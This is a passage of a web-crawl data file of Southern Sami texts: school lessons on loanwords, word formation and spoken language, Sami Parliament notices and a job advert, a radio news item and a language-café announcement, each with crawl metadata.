98487576.","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Prosjektem-noere-vytnesjaejjajgujmie-daaaarje","date":"2019-03-19T15:26:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912201996.61\/warc\/CC-MAIN-20190319143502-20190319165502-00229.warc.gz","language":"sma","language_score":0.9999755621,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999755620956421}","num_words":180,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaahkenelkien Aanna tjaaleme guktie saemien-gïelese baakoeh lööneme jeatjah gïelijste jïh guktie dah lööneme-baakoeh saemien-gïelese sjïehtedamme. Lohkh tjaalegem jïh darjoeh laavenjasside.\nPåaske\nDaam baakoem libie aaj, guktie jïjnjem jeatjebem, bijpelehistovrijen baakoe, jöödijste åådtjeme. Dej gïelesne, heebruven gïelesne jiehtieh \"paasja\" jis dle manne buektehtem staaran jiehtedh. Dam jis gujhth dle mijjen hearra maahta staeriedidh. Mijjese dïhte baakoe daaroen gïelen baaktoe bööti. Desnie jiehtieh påske. Dah jis baakoeh gusnie daaroen gïelesne åenehks jallh guhkies –å\/-e, jiehtsh konsovnanti åvtelen, dejnie dïhte -å\/-e værhtoej jïh sjïdti -åa- gosse edtjimh mijjem gïelese sjïehtesjidh. Seammalaakan –o\/-ine. Nimhtie dam daaroen 'kort' mijjese sjædta kåarhte, daaroen 'port' mijjese påarhte, daaroen 'bort', mijjese båarhte.\nNimhtie dej beeli goh gïele lij annje fïerhten-beajjetje åtnosne jïh ellies faamosne. Dillie gïele jïjtsistie buektiehti dallah, orre baakoeh jeatjh gïeleste, sjïehtesjadtedh jïjtse gïelen tjoejeme-systeemen, fovnetigken, mietie. Minngiebijstie biejjijste leah gujht dah daaroen baakoeh 'doktor', mij mijjese sjïdti dåaktere, jïh daaroen 'dukke\/dokke', mij mijjese sjïdti dåågka. Nimhtie almetje maahta tjahkasjidh baakoeh goltelidh jïh golteladtedh, mojhtelidh jïh onterdidh mestie dam numhtie jallh naemhtie sjïdteme.\nNåå, jis påaskide elmieh jïh nåake daelhkieh sjidtieh, dellie gujht maehtidie tjihkedidh, saemien jïh daaroen baakoeh baaltedidh. Nimhtie, manne sovmem, biejjie maahta varki nåhkelidh. Manne jis leam åådtjeme meatan årrodh, golteladtedh jïh gïehtjedidh, gosse bijpielistie mijjen gïelese jarkoestidh. Mijjen hearra hov lea Maarhkåsen vaentjelem mijjen gïelese jarkosteminie. Hearrah daarah gellieh gïeleh tjoereme lïeredh, dovne greekeri gïelem jïh jöödi, daaroen hebraisk. Gosse nåake daejredh guktie edtja staaran saemien gïelese buektiehtidh jarkoestidh, dellie aajhtsimh, sagki buerebe daejredh guktie aalkoegïeline tjåådtje, mejstie dam teevehtje\/tyske gïelen jïh daanske-gïelen baaktoe daaroen gïelese jarkoestamme. Dellie barre goh rïekte-baalkam åadtjoejimh vaedtsedh, gosse åadtjoejimh daejredh guktie dam aalkoe-gïelesne tjåådtje, guktie dam leah ussjedamme jïh maam dam leah sïjhteminie jiehtedh.\nBijpielistie gujht dejtie nommide aaj maahta mijjen gïelen tjoejeme-systeemen jïh tjaeleme-vuekien mietie jarkoestidh. Hijven gujht sjædta, vaentjelem åadtjodh mijjen jïjtjemh gïelesne lohkedh jïh ij daarpesjh dabtedh gelliem lehkiem ov goh mijjen gïele dan sæjngoeh, guktie daaroen gïele duekesne vååjnoe jïh govloe.\nJaahkenelkien Aanna[1]\n1. laavenjasse\nOhtsedh gaajhkh dah lööneme-baakoeh tjaalegisnie. Mehtie gïeleste lööneme?\n2. laavenjasse\nGuktie dah lööneme-baakoeh saemien gïelese sjïehtedamme?\n3. laavenjasse\nGuktie darhke daan bijjien, mejstie gïelijste dah jeenjemes lööneme-baakoeh båetieh?\n- 1«Don jih daan bïjre I». Jacobsen, Aanna. Daasta berteme. 1997.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/topic:1:194367\/topic:1:187330\/resource:1:171825","date":"2019-04-22T03:05:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578533774.1\/warc\/CC-MAIN-20190422015736-20190422041736-00145.warc.gz","language":"sma","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000085830688477}","num_words":357,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie sæjrosne lïerh guktie mijjieh saemien-gïelese baakoeh löönebe daaroen-gïeleste jïh jeatjah ammes-gïelijste goh lööneme-baakoeh. Aaj lïerh guktie Saemien Gïelegaaltijen åarjel-saemien gïele-tjïerte lea nænnoestamme guktie edtjebe lööneme-baakojde sjïehtedidh jïh tjaeledh saemien-gïelese.\nOrre baakoeh daerpies\nIj saemien-gïelen leah baakoeh gaajhkese mïsse daej aejkiej daerpies man bïjre soptsestidh. Jiene-jienebe baakoeh mejtie daaroen-gïeleste löönebe, englaanten gïeleste jïh dovne jeatjah ammesgïelijste, goh lööneme-baakoeh. Såemies baakoeh don aejkien lööneme, goh verbide löönedh, lïeredh, heannadidh jallh substantijvide kraanna, gærhkoe, tïjje. Jeatjah baakoeh mejtie mijjieh minngemes aejkiej lööneme leah baakoeh orre aatide goh bïjle, busse, motovresygkele jïh skovtere.\nMuvhth baakoeh mijjieh svöörjen gïeleste lööneme goh klaasetjelmieh, glasögon, jïh mubpieh jis nöörjen gïeleste goh prælloeh, briller. Gellien aejkien gosse man bïjre soptsestibie jallh tjaelebe, dellie tjoerebe ussjedidh, mij baakojde jallh magkerem baakoem dellie edtjebe provhkedh. Jïjnjh orre baakoeh eah gænnah baakoe-gærjine gååvnesh, jïh eah gænnah jïjnjh dejstie baakojste nænnoestamme.\nOrre baakoeh båeries baakojste\nDaaletje siebriedahkesne mijjieh jiene-jienebe baakoeh daarpesjibie orre aatide. Saemien-gïelen leah gellie nuepieh orre baakoeh darjodh jeatjah baakojste goh seerkeme-baakoeh. Dovletjistie nimhtie dorjeme. Gellie orre baakoeh aaj nimhtie dorjeme, goh girtie, daaroen-gïelesne fly, maam verbeste girtedh seerkeme. Jeatjah baakoeh jis rïekte baakoste baakose jarkoestamme goh maana-gïerte, daaroen-gïelesne barnehage, saemien baakojste maana jïh gïerte, mejtie orre baakose ektiedamme. Båeries saemien baakoeh aaj orre aatide sjïehtedamme, goh ruevtie-raajroe, daaroen-gïelesne jernbane, baakojste ruevtie jïh raajroe, daaroen-gïelesne raide, mij daaroen lööneme-baakoe saemien-gïeleste. Daaroen-gielen baakoe helikopter, dïsse mijjieh orre saemien-baakoem dorjeme baakoste haepkie mij lea stoere ledtie, daaroen-gïelesne hauk jallh falk. Dam aaj ruevtie-haepkine gåhtjobe.\nDåehkie-baakoeh\nGellien aejkien saemien-gïele ij dåehkie-baakoeh utnieh, daaroen-gïelesne fellesord, ajve sjïere baakoe dosse dïsse. Naemhtie goh daaroen-gïelen baakoe dyr, maam nöörjen gïeleste lööneme dyjre, jïh baakoe djur maam svöörjen gïeleste lööneme juvre. Dovne dam baakoem kreeke, lööneme daaroen-gïeleste krek, dehtie baakoste kreatur. Gellien aejkien gïerve dåehkie-baakoeh gaavnedh mah sïejhme daaroen-gïelesne, vuesiehtimmiej gaavhtan baakojde kjøretøy, møbler jïh natur.\nSaemien gïelevuekie\nGellien aejkien buerebe voejhkelidh baakoem jeatjah saemien baakoste seerkedh. Buerebe aaj jis ussjedibie man jeatjah vuekien mietie maam joem jiehtedh jeatjah baakoejgujmie jallh jeatjah raajesigujmie mah buerebe sjeahta saemien gïelese.\nMuvhten aejkien öövre gïerve naan sjiehteles baakoem gaavnedh. Juktie goltelæjjah jallh lohkijh edtjieh guarkadidh dellie aelhkemes baakoem daaroen-gïeleste löönedh. Dagke dellie daerpies, jïh aaj buerebe, dam daaroen-baakoem löönedh goh lööneme-baakoem. Mijjieh tjoerebe iktegisth ussjedidh, magkerh baakoeh bööremes provhkedh. Jis mijjieh dan jïjnjh ammes baakoeh löönebe, guktie dellie minngemes sjædta, dellie mijjen gïele vielie tjïelke saemien-gïele?\nGuktie lööneme-baakojde tjaeledh?\nDah lööneme-baakoeh jeatjah gïeli tjoejeme-systeemijstie båetieh. Dellie ij gænnah man aelhkie daejredh guktie daejtie orre baakojde tjaeledh saemien-gïelesne. Jaepien 2011 Saemien Gïelegaaltijen åarjelsaemien gïeletjïerte (Samisk språknemnds sørsamiske seksjon) nænnoesti guktie mijjieh edtjebe lööneme-baakojde tjaeledh. Daan nænnoestimmien mietie edtjebe baakoej minngie-gietjide (lööneme suffikside) sjïehtedidh juktie hijven gåarede baakojde sojjehtidh saemien-gïelen sojjehtimmie-systeemen mietie.\nVuesiehtimmien gaavhtan:\n-al normal > -aale normaale\n-itet kvalitet > -iteete kvaliteete\n-iv offensiv > -ijve offensijve\n-on elektron > -ovne elektrovne\nVuartesjh dam tjaeleme-vuekien nænnoestimmiem gaske-viermesne: Saemien Gïelegaalije","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/topic:1:194367\/topic:1:187330\/resource:1:185556","date":"2019-04-24T02:48:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578624217.55\/warc\/CC-MAIN-20190424014705-20190424040705-00121.warc.gz","language":"sma","language_score":1.0000056028,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000056028366089}","num_words":465,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie lea tjåanghkan bïejesovveme 39 tjirkijijstie 7 veeljemegievlijste. Akte veeljemegievlie lea tjåanghkan bïejesovveme ovmessie tjïeltijste. Seammalaakan goh stoerredigkieveeljemasse gusnie tjirkijh fïerhtede fylhkeste veeljie.\nJuktie maehtedh saemiedigkieveeljemasse steemmadidh tjoerh Saemiedigkien veeljemelåhkosne årrodh. Men deejrih veeljemelåhkoe dïhte mij muana man gellie tjirkih mah Saemiedigkien sïjse veeljesuvvieh fïerhtede gievleste?\nDatne maahtah meatan årrodh tsevtsedh guktie Saemiedigkie lea tjåanghkan bïejesovveme jis jïjtjemdh tjaalah veeljemelåhkoen sïjse dov gievlesne. Dov sïjsebïeljelimmie tjuara mijjen luvnie årrodh gaskejïjjen, ruffien 30. b. 2019 åvtelen.","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/saemiedigkie.no\/Veeljeme\/Bievnesh-veeljemelaahkoen-bijre","date":"2019-05-25T05:31:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257889.72\/warc\/CC-MAIN-20190525044705-20190525070705-00245.warc.gz","language":"sma","language_score":0.9999802113,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999802112579346}","num_words":71,"character_repetition_ratio":0.113,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjieh eajhnadovvebe maam mubpide jiehtebe, guvviedibie jallh tjaelebe. Dïhte guhte vearelde-bïevnesem TV:sne bïhkede, sæjhta vuartasjæjjide vearelden bïjre bievnedh. Dïhte guhte pruvre-håalomem hååle sæjhta domtesi bïjre soptsestidh, jïh dïhte guhte reklaamem dorje sæjhta åestiejidie tsevtsedh.\nGïelen funksjovnh\nSeamma saaht maam sïjhtebe mubpide geerjehtidh, dellie mijjieh seamma dïrregem nuhtjebe, mijjen gïele.\nGïelen golme funksjovnh:\n- Bievnije funksjovne: maam akt saetniesvoeten bïjre jiehtebe\n- Ekspressijve funksjovne: maam akt mijjen vuajnoej jïh domtesi bïjre jiehtebe\n- Appellatijve funksjovne: dïhte goltelæjjam jallh lohkijem tsavtsa\nVearelde bïevnesh – jienebh enn barre bïevnesh\nJis vearelde-bïevnesem vuejnebe dellie sïjhtebe daejredh guktie vearelde sjædta. Mijjieh bïevnesh vearelden bïjre sïjhtebe. Dellie bievnijen funksjovne stööremes. Læjhkan dah göökte jeatjah funksjovnh, ekspressijve jïh appellatijve, mijjem tsevtsieh. Guktie vearelde-bievnije sov bïevnesh mijjese buakta mijjem tsavtsa, kaanne dïhte mojjehte jïh \"aavoe-baakoeh\" nuhtjie dellie mijjieh aavoedibie. Vearelde bïevnesh mijjem tsevtsieh, kaanne ibie maehtieh darjodh maam soejkesjamme jis vearelde-bievnije ebriem beavna.\nMijjieh sïjhtebe ektievoetesne årrodh\nNaan aejkien ij leah dan vihkeles maam jiehtebe, men mijjieh barre maam akt jiehtebe. Mijjieh sïjhtebe ajve vuesiehtidh mijjieh libie guejmieh\/voelph. Naan dotkijh mielieh gïelen lea sosijaale funksjovne jïh dïhte vihkeles.\nGovlesadtedhKjernestoff","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:164987\/topic:1:161361\/resource:1:167004","date":"2019-06-19T22:03:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999041.59\/warc\/CC-MAIN-20190619204313-20190619230313-00480.warc.gz","language":"sma","language_score":0.9999963045,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999963045120239}","num_words":177,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Barkoesijjie lea Saemiedigkien kontovresijjesne Snåasesne.\nBarkoelaavenjassh\nBarkoen uvtemesth barkoelaavenjassh leah reereme saemien kultuvremojhtesijstie jïh aamhtesereereme ovmessie soejkesje- jïh areaale-aamhtesijstie. Barkosne maahta aaj jeatjah laavenjassh åadtjodh mah leah ektiedamme Saemiedigkien gïehtelæmman.\nKvalifikasjovnh\nBarkoe jollebe ööhpehtimmiem kreava maastere-\/åejviefaagedaltesisnie, åajvahkommes arkeologijen jallh kultuvremojhtesevaarjelimmien sisnjelen. Maehtebe kandidaath aaj vuarjasjidh ööhpehtimmine unnemes bachelor-njieptjesne.\nOhtsije tjuara daajroem jïh sjyöhtehke dååjrehtimmiem utnedh barkoste saemien kultuvremojhtesigujmie, jïh daajroeh åtnoen bïjre digitaale feeltedalhketjijstie (GIS \/ GPS \/ CPOS). Vuejemeleahpa persovnebïjlese lea daerpies.\nMaahtoe saemien gïelesne, dovne njaalmeldh jïh tjaaleldh vihkelesvoetem åtna.\nLissine vihkeles:\n- Daajroe saemien histovrijen jïh saemien siebriedahketsiehkiej bïjre\n- Dååjrehtimmie feeltebarkoste\n- Dååjrehtimmie byögkeles reeremistie\n- Væjkele mubpiejgujmie govlesadtedh jïh laavenjostedh\n- Hijven njaalmeldh jïh tjaaleldh buektemevoete\n- Maahta jïjtjeraarehke jïh ulmien vööste barkedh\n- Faegniedihks\n- Persovneles sjiehtelesvoete\nBaalhka- jïh barkoekrïevenassh\nBaalhka lea Statens regulativen mietie barkoekoda 1408 voesteskonsulente jallh 1434 raeriestæjja, ansenniteeten jïh maahtoej mietie.\n- Baalhkeste 2 % Statens pensjonskassese geasalguvvieh\n- Hijven lööneme- jïh pensjovneöörnegh Statens pensjonskassesne\n- Fleksijbele barkoetïjje jïh jeatjah hijven tråjjesvoeteöörnegh\n- Hijven barkoebyjrese gusnie datne leah akte dejstie mij dam sjugnede\nSaemiedigkien reereme edtja dan gåhkese gåarede gellievoetem årroji luvnie vuesiehtidh. Akte personalpolitihkeles ulmie aktem jïebne aaltere- jïh tjoelejoekedimmiem buektiehtidh, jïh almetjh unnebelåhkoe- jïh aalkoealmetjemaadtojne dåårrehtidh.\nSaemiedigkie latjkoem Inkluderende Arbeidsliv (MAH) åtna, jïh leavloem beaja sjïehteladtemasse barkoetsiehkijste fïereguhten meatanbarkijasse.\nOhtsijh mah eah saemien maehtieh gosse aelkieh, maehtieh dïedtem åadtjodh lïerehtimmiem saemiengielesne vaeltedh.\nGaajhkesh mah Finnmaarhkesne jïh Noerhte-Romsesne årroeh åadtjoeh studijelaajkoem Statens lånekassesne giehpiedidh 10 % fïerhten jaepien 25.000 kråvnaj raajan jïh sjïere giehpiedimmiem skaehteste.\nLissine barkijh seehtemem åadtjoeh sïejhme laaki, njoelkedassi jïh sjïehtedimmiej mietie, daan nuelesne baalhka jïh pensjovne, jïh 6 askh pryövetïjje.\nGaskese\nVielie bïevnesh barkoen bïjre åadtjoeh daesnie\n- Konstitueradamme goevtesedirektööre Andreas Stångberg, tell. +47 78 47 40 00\nOhtseme\nOhtseme, væhnadassh jïh vihtienassh edtjieh elektrovneles seedtesovvedh daan svaalhtesen tjïrrh, daennie sæjrosne «Søk stillingen».\nMænngan ohtsememierie lea nåhkeme akte byögkeles ohtsijelæstoe dorjesåvva. Byögkelesvoetelaaken mietie § 25 maehtebe bïevnesh ohtsijen bïjre bæjhkoehtidh jalhts ohtsije lea maadteme ij ohtsijelæstose tjaalasovvedh.\nOhtsememierie:\n19.06.2019","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/www.saemiedigkie.no\/Saemiedigkien-bijre2\/Gaaaroes-barkoeh\/Aamhtesereerije-Arkeologe","date":"2019-06-17T07:39:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998440.47\/warc\/CC-MAIN-20190617063049-20190617085049-00544.warc.gz","language":"sma","language_score":1.0000026226,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000026226043701}","num_words":293,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.171,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien lea noerhte,- julev- jïh åarjelsaemien. Ööhpehtimmielaakesne § 6-1 voestes lïhtse lea tjïertestamme gïeh leah saemie: saemie: almetje mij maahta jïjtjemse saemielåhkoen sïjse tjaeledh, v. § 2-6 laakesne ruffien 12.b. 1987 nr. 56 Saemiedigkien jïh jeatjah saemien reaktatsiehkiej bïjre (saemielaake), jïh maanah dejstie mah maehtieh jïjtjemse sïjse tjaeledh.\nIj leah krïevenasse learohke jallh eejhtegh edtjieh meatan årrodh saemielåhkosne, men dah tjuerieh krïevenasside illedh meatan årrodh saemielåhkosne\nTjïelth mah leah meatan saemien gïelen reeremedajvesne maehtieh nænnoestidh gaajhkh learohkh maadthskuvlesne edtjieh saemien utnedh goh obligatovreles faage. Daate lea vihtiestamme ööhpehtimmielaakesne § 6-2 njealjede lïhtse. Tjïelte maahta mieriedidh gaajhkh maanah maadthskuvleaaltarisnie saemien dajvine edtjieh saemien gïelelïerehtimmiem utnedh. Unjargan, Karasjohken jïh Guovdageaidnun tjïelth leah dagkeres nænnoestimmiem dorjeme.\nLohkh aaj: Maajhööhpehtimmie – alternatijve lïerehtimmie ( Link til)\nLohkh aaj: Ammesgïele jïh nöörjen baallegïele – ij obligatovreles (Link)","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/saemiedigkie.no\/Dienesjh2\/Lierehtimmie-jih-learoevierhtieh\/Reakta-saemien-gielelierehtaemman","date":"2019-07-19T16:16:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526324.57\/warc\/CC-MAIN-20190719161034-20190719183034-00476.warc.gz","language":"sma","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000057220458984}","num_words":121,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.19,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aajege saemien gïele- jïh maahtoejarnge, Rørosesne, ektiebarkoem Nea Raadijoven ektesne åtna jïh åarjelsaemien saadtegh Nea Raadijovesne seedtedh. Daate akte faaleldahke gusnie åadtjoeh bielie tæjmoem fïerhten våhkan åarjelsaemien saernieh jijtjen voeneraadijovesne govledh jih saernieh nedtebielesne lohkedh.\nEadtjohks gïele barkije\nAino Linnea Danielsen lohketæjja mij daelie journaliste barkone aalka. Dihte tuhtjie daate gieltegs sjædta.\n– Manne gellieh jaepieh saemien gïeline barkeme goh lohketæjja, gusnie maanide øøhpetamme. Daate dellie jeatjah barkoe sjædta jih raadijovesne barkedh, Danielsene jeahta.\nDuarstan dellie dihte voestes saadtege seedtesovva jih desnie saernieh, magasijne aamhtesh jih saemien musihkem govlede. Danielsen bïevnede maan bijre voestes saadtegisnie guvlieh.\n– Dellie govlede saernieh Tjaktjen tjåanghkoste jih Gïeleviermie tjåanghkoste mij lea Snåasesne orreme jih jijnje maanah bijre jih nov sån saernieh daebpielistie aaj, Danielsene bievnede.\nBarkoe jih aamhtside gaavnedh.\nIj leah aelhkies saerniej gujmie barkedh.\n– Vueptiestamme, ij leah aelhkie jih saernieh gaavnedh. Ij man gellieh munnjan bievnedh. Tjoerem gujht jijtje pryøvedh snoegkedh, Danielsene jeahta.\nMagkeres åssalommes daelie åtna gosse saadtegem seedth?\n– Daate luste sjædta. Håhkesjem hijven barkoem darjoem jih saadtege hijven sjædta, gåessie daajram jijnjesh edtjieh goltelidh, Danielsene orrije.\nSaadtegide maahta Selbuen, Tydalen, Rørosen jïh Håltålen tjïeltine govledh jih maahta needteraadijovesne saadtegidie abpe Nøørjesne govledh.\n- Lohkh aaj:","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/www.nrk.no\/sapmi\/voestes-raadijovesaadtege-seedtesovva-1.12577271","date":"2019-07-15T23:33:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195524254.28\/warc\/CC-MAIN-20190715215144-20190716001144-00420.warc.gz","language":"sma","language_score":0.9999949932,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999949932098389}","num_words":191,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïele-prïhtjhgåetie\n2-3 dæjstah asken ts. 18:00-20:30 gïele-prïhtjhgåetie öörnesåvva Garverijesne Viosesne.\nGïele-prïhtjhgåetie akte ovbyjjes gïelesijjie gusnie maahta tjåanghkenidh saemiestidh, goltelidh, mubpiejgujmie årrodh jïh prïhtjegem\/löövjen jovkedh mejnie akt bealese.\nMuvhten aejkien sæjhta aelhkie darjomh årrodh. Vuesiehtimmien gaavhtan spïele-iehkedh, quiz, vytnesjimmie jallh jeatjah teema-iehkedh.\nJis dov leah sjaavnjoeh\/raeriestimmieh teema-iehkiedasse jallh darjoemasse, saarnoeh maaje Naina Helenese jallh Maja Sööfese.\nVuartesjh mijjen gåetiesæjroem juktie vielie bïevnesh åadtjodh: www.gielemnastedh.no (jallh daesnie)\n——————————————————————————\nGïele-kafé\n2-3 tirsdager i måneden kl 18:00-20:30 arrangeres gïele-kafé på Garveriet i Viosen.\nGïele-kafé er en uformell språk-arena hvor man kan treffes for å snakke samisk sammen, lytte, være sosial og drikke kaffe\/te med «nåkka attåt».\nNoen ganger vil det være enkle aktiviteter. For eksempel spill-kvelder, quiz, håndarbeid eller andre tema-kvelder. Om du har ønsker\/forslag til tema-kveld eller aktivitet; tips gjerne Niana Helen eller Maja Sofie.\nBesøk Gïelem Nastedhs hjemmeside for mer informasjon, eller kontakt oss her.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.snasa.no\/hendelse\/giele-kafe\/","date":"2019-08-18T08:06:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027313715.51\/warc\/CC-MAIN-20190818062817-20190818084817-00115.warc.gz","language":"sma","language_score":0.996945262,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9969452619552612}","num_words":138,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.205,"stopwords_ratio":0.022,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dïhte dan vihkeles mijjieh eensilaakan goltelibie jïh soptsestibie gosse mubpiej almetjigujmie soptsestallebe ovmessie tsiehkine. Mijjieh njaalmeldh gïelem ovmessie tsiehkine nuhtjebe. Mijjieh ovmessie almetjigujmie fïerhten biejjien soptsestallebe jïh gïelem jarkelibie tsiehkien mietie.\nGoltelidh\nVihkeles eensilaakan goltelibie maam mubpieh almetjh jiehtieh. Datne tjoerh eejnegen vuarjasjidh maam mubpieh jiehtieh, jïh dovne guktie dam jiehtieh. Magkerh baakoeh nuhtjieh? Edtjh datne vaestiedidh, dejgujmie digkiedidh, jallh ajve vuarjasjidh maam jiehtieh? Jallh kaanne vaajestieh? Mejtie gaajhkem guarkah, kaanne ammes jallh geerve baakoeh nuhtjieh juktie ollh guarkah? Faahketji tjoerh njaalmeldh mubpiejgujmie laavenjostedh jïh dov åssjalommesh dejtie buektedh. Guktie dellie gïelem nuhtjh?\nSoptsestidh\nMijjieh njaalmeldh gïelem ovmessie tsiehkine nuhtjebe. Gåessie edtjebe voelpigujmie jallh fuelhkine joekehtslaakan soptsestidh, tjåanghkosne jallh Saemiedigkesne håalodh, maam joem åehpiedehtedh j.n.v. Faahketji tjoerebe mubpiejgujmie njaalmeldh laavenjostedh jïh dellie vihkeles sinsitniem guarkadidh. Sïjhtebe daajroem, åssjaldahkh jïh åssjalommesh tjïelkelaakan mubpide buektedh dellie tjoerebe jeereldihkie baakoejgujmie ovmessie tsiehkine nuhtjedh. Byjjes digkiedimmie sjïere hammosne. Baakoe-stuvrije digkiedimmiem stuvrie jïh jeahta gïen våaroe soptsestidh jïh gåessie åådtje soptsestidh. Jis baakoem sïjhth, tjoerh gïetem lutnjedh jïh dellie baakoe-stuvrije dov nommem læstose tjaala. Jis sïjhth maam akt tjïelkesidh, dellie göökte soermh lutnjedh. Dellie vuesehth replihkem sïjhth jïh dellie åadtjoeh åenehkslaakan dam tjïelkesidh jallh lahtestidh.\nDigkiedidh\nJis galkh digkiedidh dellie naan raerieh: Datne byörh åenehks- jïh tjïelkelaakan soptsestidh. Byörh ryöjredidh guktie dov vuajnoeh leah daajroen\/faktan våaroemisnie. Edtjh eensi jïh tjïelkelaakan digkiedidh. Datne tjoerh buerkiestidh man gaavhtan datne naemhtie ussjedh.\nGolme gyhtjelassh vihkeles: Maam edtjh soptsestidh? Guktie sïjhth dam jiehtedh? Jïh man gaavhtan dov vuajnoeh vihkeles?\n- Maam sïjhth soptsestidh, daajroen våaroemisnie.\n- Man gaavhtan\/mannasinie datne naemhtie ussjedh, dïhte dov vierhtiej våaroemisnie.\n- Guktie sïjhth dam jiehtedh? Dïhte håalometeknihken våaroemisnie.\nGovlesadteme-tsiehkieh\nAkte govlesadteme-tsiehkie gosse bïevnese-straejmie ajve akten otnjegasse jåhta jïh dåastoje ij maehtieh vaestiedidh. Dagkerh vuekieh leah: byjjes tjaalegh, lohkemeprievieh jallh artihkelh. Mubpie govlesadteme-tsiehkie gåessie maehtebe sinsitniem vaestiedidh, sinsitnine digkiedidh jallh gihtjedidh. Dagkarinie tsiehkine maehtebe goerehtidh, bïhkedidh jïh soptsestidh mubpien almetjen reaksjovni mietie. Gåalmeden govlesadteme-tsiehkie gosse seedtije gellie lohkijidie, goltelæjjide jallh vuartasjæjjide soptseste jallh tjaala. Dagkerh medijumh leah: gærjah, plaerieh, radijove jallh TV:e, dellie dam gåhtjobe veljies-govlesadteminie.\nBaakoeh\nSaemien\nDaaroen\nbïevnese-straejmie\nnyhetsstrøm\nveljies-govlesadteme\nmassekommunikasjon\nGovlesadtedhKjernestoff","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:164987\/topic:1:161361\/resource:1:163195","date":"2019-08-21T21:11:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027316194.18\/warc\/CC-MAIN-20190821194752-20190821220752-00157.warc.gz","language":"sma","language_score":1.0000009537,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000009536743164}","num_words":336,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.06,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate vierhtie lea juakasovveme Tjaelije Olsen, Jan Helmer Bertije Golleaja Vaadtasovvemejaepie 2014 Faage Naturfag Daltese Barnehage 1-4 5-7 8-10 VGS Høyere utdanning Giele Språknøytral Reakta-aajhtere Golleaja Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Tradisjonell kunnskap Naturbruk Geografi Folk og land Saepmie Kultur Film Natur 